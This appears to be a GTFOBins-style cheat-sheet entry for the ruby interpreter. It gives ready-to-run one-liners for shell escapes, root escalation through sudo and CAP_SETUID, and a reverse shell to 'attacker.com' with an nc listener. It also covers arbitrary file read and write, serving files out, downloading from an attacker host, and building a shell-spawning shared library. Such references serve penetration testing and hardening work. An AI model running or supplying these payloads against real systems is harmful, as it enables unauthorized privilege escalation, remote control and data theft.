ruby

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
ruby -e 'exec "/bin/sh"'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -e 'exec "/bin/sh"'
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
RemarksThe following capabilities are needed: CAP_SETUID.
```
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged
This function can be performed by any unprivileged user.
```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
ListenerA TCP server can be used on the attacker box to receive the shell.
```
nc -l -p 12345
```

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }'
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
ruby -e 'puts File.read("/path/to/input-file")'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -e 'puts File.read("/path/to/input-file")'
```

Upload

This executable can upload local data.

Version requirements
= 1.9.2
Unprivileged
This function can be performed by any unprivileged user.
```
ruby -run -e httpd . -p 80
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -run -e httpd . -p 80
```
ReceiverAn HTTP client can be used on the attacker box to receive the data.
```
curl victim.com -o /path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")'
```
SenderAn HTTP server can be used on the attacker box to send the data.
```
python -m http.server 80
```

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

Unprivileged
This function can be performed by any unprivileged user.
```
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")'
```
Payload
As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:
```
echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -
```
Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.